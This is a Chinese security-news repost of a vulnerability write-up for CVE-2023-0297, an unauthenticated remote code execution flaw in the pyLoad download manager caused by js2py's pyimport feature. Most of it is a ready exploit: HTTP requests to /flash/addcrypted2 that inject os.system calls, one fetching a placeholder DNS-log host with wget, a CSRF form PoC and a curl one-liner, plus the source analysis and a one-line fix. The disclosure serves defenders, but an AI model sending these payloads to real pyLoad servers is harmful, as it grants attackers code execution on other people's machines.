0x01 前言
pyLoad是一个用 Python 编写的 OSS 下载管理器,可通过 Web 界面进行管理。它的GitHub 存储库有大约
0x02 漏洞影响:
pyLoad <= 0.4.20 & 小于0.5.0b3.dev31版本的pyLoad开发版
0x03 漏洞EXP:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("wget%20xxx.dnslog.xx");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
0x04 细节
pyLoad是一个用 Python 编写的 OSS 下载管理器,可通过 Web 界面进行管理。它的GitHub 存储库有大约。截至 2023 年 1 月 9 日,已有 2.8k 颗星。
在审核 pyLoad 的源代码时,以下代码引起了我的注意:
cnl_blueprint.py#L124
jk = eval_js(f"{jk} f()")
函数定义eval_js
如下:
misc.py#L25-L27
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()")
使用js2py的功能运行 JavaScript 代码,f"{jk} f()"
其中jk
参数由请求参数传递:
cnl_blueprint.py#L120
jk = flask.request.form["jk"]
因此,您可以通过请求端点来运行任意 JavaScript 代码。
但是,你怎么能滥用它呢?由于在js2py.eval_js()
上下文中,既没有XMLHttpRequest
,fetch
也没有require
(如 node.js)未定义,因此 SSRF 或读取本地文件不是问题。
花了一些时间后,我发现了一个 fancyjs2py
的功能:
pyimport声明
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
"""pyimport urllib; x =
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
js2py.eval_js(x)
18211
undefined
通过使用此功能,您可以在js2py.eval_js()
上下文中使用 Python 库!令人惊讶的pyimport
是默认情况下启用。😮
我尝试了使用以下命令运行 OS 命令的简单代码pyimport
:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system("touch /tmp/pwnd")")'
$ ls /tmp/pwnd
/tmp/pwnd
果然,touch /tmp/pwnd
被处决了!
通过发送以下请求,目标主机中会发生同样的事情:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
;f=function%20f2(){};
参数中的部分在jk
该端点运行时是必需的eval_js(f"{jk} f()")
。如果不存在,注入的代码将不会由于name 'f' is not defined
错误而被执行。
请注意,请求中不存在 cookie 和 CSRF 令牌。代表着:
-
可以访问目标主机的未经身份验证的攻击者具有 RCE 能力。
-
即使攻击者无法访问目标主机,他们也可以通过 CSRF 攻击诱骗可以访问目标主机的受害者进行 RCE:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
0x05 利用代码
curl -i -s -k -X $'POST'
--data-binary $'jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
$'http://<target>/flash/addcrypted2'
0x06 修复建议
只是禁用pyimport
功能。
杂项.py
import js2py
+js2py.disable_pyimport()
0x07 文章来源
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
如侵权请私聊公众号删文
原文始发于微信公众号(EchoSec):漏洞速递 | CVE-2023-0297未授权远程代码执行漏洞(附EXP)